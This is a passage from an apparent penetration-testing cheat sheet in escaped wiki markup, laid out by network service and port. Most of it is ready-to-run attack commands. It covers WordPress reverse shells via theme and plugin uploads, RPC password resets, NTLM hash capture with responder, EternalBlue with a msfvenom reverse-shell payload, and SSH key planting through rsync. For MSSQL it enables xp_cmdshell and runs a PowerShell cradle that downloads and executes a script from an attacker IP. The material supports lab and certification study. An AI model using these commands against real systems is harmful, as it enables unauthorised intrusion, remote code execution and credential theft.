curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
